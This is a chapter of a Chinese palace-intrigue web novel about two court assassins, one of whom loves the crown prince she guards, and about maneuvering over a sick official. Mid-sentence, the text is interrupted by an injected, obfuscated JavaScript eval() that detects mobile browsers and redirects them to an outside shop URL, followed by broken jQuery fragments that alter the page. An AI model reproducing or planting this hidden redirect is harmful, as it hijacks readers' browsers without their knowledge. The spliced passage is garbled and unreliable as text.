来者不善，只听簌簌声响，几枚飞剑迎面破空袭来。
秦肆下腰避开，飞刃擦过时甚至能感到幽幽寒意。她不愿做多纠缠，就势后翻跳下屋檐，借灌木树丛为自己遮掩。
然而对方并不肯善罢甘休，形如鬼魅般直愣愣冲了过来。饶是秦肆深谙轻功，也觉她速度奇快。
秦肆反手抽出照霜格挡，还没认出人，倒先认出了对方手里那对鸳鸯钺。
秦肆一瞬睁大了眼睛，急急道：“小萍，是我——！”
黑衣人高高举起的手骤然顿住，灌木摇落一地的白花绿叶。她开口，果然是秦肆熟稔的嗓音：“……肆儿？”
秦肆一把拽下面罩，愤愤道：“好险，今日差点死在你手里！”
“我没想到会是你，隔太远了，我只想着灭……”赵萍生也是才反应过来，又诧异又好笑。她顿了顿，环顾一下四周，“这里不是说话的地方，你随我来。”
二人来到皇城边一处僻静的小林，青石板道上放着石桌石凳。赵萍生也露出本来面目，浓眉一扬：“今天也太巧了。来，我看看有没有伤着你。”
秦肆摆摆手：“逗你的。你的暗器快，我的身法也快。就是把我吓一跳，还当是你窃贼呢。”
“我还在心里头叫苦，平白多了一桩灭口的活。大晚上又要跟死人打交道了。”
闹半天敌手原是挚友，两人说完具是相视而笑。
“不过，你怎么会来这里？”赵萍生凑近了点，“太子给你派的活儿？”
秦肆点点头：“是，我来替他收拾一个人。你呢，替陛下收拾人？”
两人儿时便是同村的玩伴，后来辗转入了宫，在暗营中步步扶持相依为命，彼此自然毫无隐瞒，没有什么不能说的。
赵萍生轻轻道：“不，只是叫我去看一张画。”
秦肆疑惑：“看画？”
“奇怪吧？”赵萍生摆手，“叫我看了仔仔细细记下来。我有时候真不知道上头怎么想的。”
不知怎的，秦肆即刻想到了那张眼熟的美人图。
“可是画得一个女子？”
赵萍生奇了：“你怎么知道？”
“我恰好躲那屋子里，一抬头就瞧见了。不说这个，小萍，咱们也有阵子没见了。”秦肆伸手轻拍姐妹的肩膀，不甚大的眼睛弯成了一条缝，“还没来得及恭喜你升官加爵。现在要叫你赵千户大人了——”
皇城司不比朝堂那样多规矩束缚，只认血淋淋的功绩。干得好，女子也可以加官进爵。
赵萍生一阵牙酸，反手拍开秦肆：“去去去，你这丫头就会打趣我。再大的官儿还不是给人卖命，唉，我都干烦了。”
秦肆凑近些看着她：“你这是累了？镇抚使很赏识你，只要你不泄气，往后的日子会越来越好的。”
赵萍生缓缓摇首，认真道：“刀口舔血提心吊胆的日子，我真的过够了。金玉珠宝再多顶用吗？都不知道自己几时有命花。从前我是贱命一条，死了也不亏，但现在不一样了。”
她握住秦肆的手，想起什么似的，眼中闪烁着一点难掩的喜悦：“还没来得及告诉你，肆儿，我把褚郎赎出来了。”
“真的？那太好了！天爷……你们总算熬出来了。”
作为褚相允和赵萍生情爱的见证者，其中有多曲折艰辛，秦肆再清楚不过。
两人相识在教坊司，褚相允是籍没抄家的落魄公子，被卖为奴。又有先父仇家的眼睛盯着，照理说终生都脱不了奴籍。
这几年赵萍生没少为他四处奔走，无奈人微言轻，次次都是无功而返。
“是真的，我去求了张大人。他替我打了个招呼，把褚郎放出来了。”
秦肆一时心中有些酸涩。赵萍生腿都快跑断了也没能做成的事儿，却不如上头人轻飘飘一句话。
她也不是没想过求周彻恩典。但教坊司隶属皇城司，皇城司又直接由皇帝管辖，太子不便染指，这才一直耽搁到现在。
“今日不巧，我身上什么也没带。赶明儿我送两匹上好的云锦给你们做衣裳，庆祝姐夫脱离苦海。”
赵萍生叫了一声：“哎，这东西难得，你自己留着吧。”
“主上赏了我好些料子，我穿不完，白白放着也是可惜。”秦肆佯怒，“不许再推脱，咱俩还客气什么？”
赵萍生拗不过，只好同意。她打眼看去，秦肆一身玄衣，墨发高束，腰间脸上半两多余的肉都没有。俗话说心宽体胖，瞧着秦肆该是没少操心。
不由叹息一声：“还以为宫里的日子好过点，我看你反而越来越瘦了。”
秦肆摸摸自己的下巴，不以为意：“有么？我就是练轻功的，哪能长肉呢。”
赵萍生定定看她片刻。
“肆儿，往后你打算怎么办，一辈子都跟着东宫吗？”
月明星稀，清风拂过，带来一阵凉意。
赵萍生不是头回这么问了，但秦肆始终给不了她想要的答案。
秦肆微微垂下眼睛，似乎在掩饰复杂心绪：“那还能怎么着。”
“你也到了成家的年纪，你向太子求情，我不信他不放人。”
王公贵胄有几个宠姬并不奇怪，但秦肆连正经妾室都不算，挂着近身侍卫的名头兼着暖床的活儿。赵萍生猜想，太子不过把这当一段露水情缘，若秦肆求告，他未必不会应允。
怕就怕在……
赵萍生举棋不定地打量秦肆：“还是说，你的心真拴在他身上了？”
秦肆点点头。
赵萍生“啪”一下仰回在凳子上。
“得，得。肆儿，你想好好过日子，应该找一个良人。在太子的后院里讨生活看着光鲜，可未必轻松啊。”
秦肆缄默一瞬。
她自然是不想也不会同谁争风吃醋，却又对周彻爱慕之至。在她的设想里，只要能时常伴在主子身边便已知足。等她干不动的那天，再去皇城附近置办一处宅子，得闲再进宫转悠转悠，这样就很好了。
在暗营的那些年，她最先学会的，就是以主子为天。
反正周彻也许诺过他，京城会有他一席之地。
“实话说，我没心思成家……主上待我很好，一直当他的侍卫，也不错。”
意料之中的回答，赵萍生想说点什么，张张嘴，终究是哑然。
半晌，她才道：“你是眼睛里装不下别人了。”
秦肆爽朗一笑：“这话说得，宫里也没旁人对我有意呀。”
她深知自己相貌平平，周朝尚白，她却天生肤色偏黑。一双眼不大不小，山根处散着细碎雀斑，唯有鼻子可看些，高挺小巧，这张脸才不至于太寡淡。
是以东宫人人都拿她当好心的大姐，从没起过什么旖旎心思。她也不需要就是了。
“你啊……”赵萍生万般无奈，刚要问问太子究竟给她灌了什么迷魂汤，想起周彻那张肖似贤贵妃的脸蛋便作罢。
生得那样一副好相貌，收拢人心哪还需要费力气。
“时候不早，我该回去复命了。等我哪日得空咱们再聚。”
“好。”
两人飞身越进宫门，向值夜宫人各自展示令牌后，一个向东，一个向西，分道离去。
次日，夏诘突染咳疾的消息不胫而走。
朝堂之上，周彻面有忧色：“明相，夏卿何故染病？”
明端延稍稍俯身回话，往左侧瞥了一眼：“禀告殿下，微臣也不知。夏公子这两日都在洛府吃酒会宴，恐怕还得问问洛少卿。”
儿子刚被贬值，强撑着把亲家劝住办了婚宴，偏生丞相的人又病倒在自家院里。洛承洵满头官司，干笑道：“回殿下，大夫说夏公子是醉酒伤风，寒气经肺入体，这才引了咳疾出来。吃两帖药便好了。”
周彻追问：“痊愈要几时？本宫听闻他现下还高热不退。”
洛承洵清清嗓子，艰涩道：“少则三五天…多则半旬。”
话音刚落，明端延便意味不明地冷哼一声。
“令郎言行无状，府内招待不周。本相多嘴一句，洛少卿很该整顿整顿家风了。”
只见洛承洵深深呼吸：“叫明相见笑了。”
周彻看在眼里，一面暗叹这位舅舅真是能忍，一面拧眉思忖片刻，道：“明日便是祭祀大典，夏卿抱病，本宫也不忍叫他强行上任。光禄寺署正一职本宫会
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17676568|207492||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
另择人选，至于夏卿，待他病愈再授官不迟。”
末了，微笑着看向丞相：“明相以为如何？”
明端延心中不快，却也反驳不得。
早在举荐之时他便拍着胸脯保证，找不出第二位比夏诘更适合光禄寺署正的人选。若此时再推一个人上去，岂不是自打嘴巴？
最终只能吐出一句：“殿下明鉴。”
周彻在朝堂气儿顺了，回东宫脸色就好看许多，崔明一直吊着的心终于得以放下。
“还是秦姐最能解殿下心意。我们几个愚钝，想破脑袋都哄不出殿下一个笑脸儿。”
周彻将披风脱了丢过去：“不怨你，这桩差事只有她能办得了。阿肆，你做得很好。”
秦肆从不居功：“都是属下分内之职。”
周彻想了想，随口道：“有功就该赏。南海进贡了几棵红珊瑚，母后打了两条手钏，你戴着玩吧。”
对于主子的赏赐，秦肆向来是照单全收。今日却破天荒地提了要求。
“主上，属下可否将手钏换成别的？”
这可奇了，周彻一抬下巴：“哦？说说看，换什么。”
“一套……那个，头面。”秦肆看向刚进来倒茶的如宁，“小宁，你们插戴的簪啊钗啊的，是叫头面吧？”
如宁不明所以地点点头：“是。不过秦姐姐要这个做什么？”
秦肆笑起来：“送给我的姐妹，她要成亲了，庆祝他们终成眷属。”
周彻挑眉。
秦肆口中的姐妹，除了在皇城司的赵萍生还能有谁？
“库房里有的是，我叫人挑一套送你房里。”周彻不动声色地啜饮茶水，“你倒是上心，不知道的还以为是你成亲。”
秦肆挠挠后颈，微黑的面皮一下涨红：“我只是替她高兴……主上莫要拿属下打趣。”
周彻见过她同赵萍生谈笑的样子，显然更放松自在。只有在他面前，这精瘦干练的侍卫才会露出赧然与无措。
诚然，她算不上多标致，但也绝没有周徜说得那般丑陋鄙俗。
秦肆胜在身段风流，常年练习轻功，薄背纤腰，四肢修长，光看背影真可算得上夺目。只要想到那双手能一击扼断敌人的喉管，独独在自己面前紧张地绞着衣摆，周彻便忍不住舔舔牙尖。
其实他早就知道，秦肆对她忠心耿耿，或者说，爱慕不已。
昔年贤妃逝世，周彻夜不能眠，眼睛睁得老大。才办完差的秦肆用未染血的那只手替他掖好了被角。
“阿肆，我没有母亲了……再也没有了。”周彻猛一下从榻上做起，乌黑瞳仁惊惧不定地转动，“是不是我做坏事，老天报应在了她身上？”
他忽而生出些许怒意，愤愤道：“糊涂账！要报应何不来报应我？独留我一个人，又有什么好活！”
秦肆被他唬了一跳，也顾不上衣裳还没换，连忙把人圈进怀里：“主上、主上！贤妃娘娘菩萨心肠，主上也并非恶人，老天不会报应你们的！”
她力气大，牵制小两岁的周彻并不算难。小皇子撞进侍卫温暖的怀抱里，被她衣料间淡淡的皂角味包裹，不香也不难闻，给秦肆跟人的感觉一样温和醇厚。
过了片刻，秦肆感到衣襟一片湿润。
念及往日贤贵妃的种种恩惠，秦肆亦是悲从中来。她嘴唇颤抖着，周彻憔悴如斯的脸映进眼里，秦肆心如刀绞。
“主上不是一个人，泓容殿上下，都会陪着你。还有…还有我。”她鼻腔发酸，“我也是主上的。我会遵照贤妃娘娘的遗愿，永远保护主上。”
周彻仅着寝衣，乌发披肩，一张休息不足而无血色的脸碰着泼进窗子的森冷月光，仿佛一件摇摇欲坠的瓷器。他茫然地眨眨眼，滚下两滴热泪，扯了一下嘴角：“永远又是多久，天下有不散的筵席吗？”
他伸手插入秦肆的发髻之间，轻而软的那么一绺，很快从掌心划过。
终究什么也没有抓住。
然而秦肆握住他将要放下的手，偏首把脸贴上他的掌心，眼睛还直直盯着，一字一句。
“当然。只要主上想，属下会一直在主上身边。”
“直到我死。”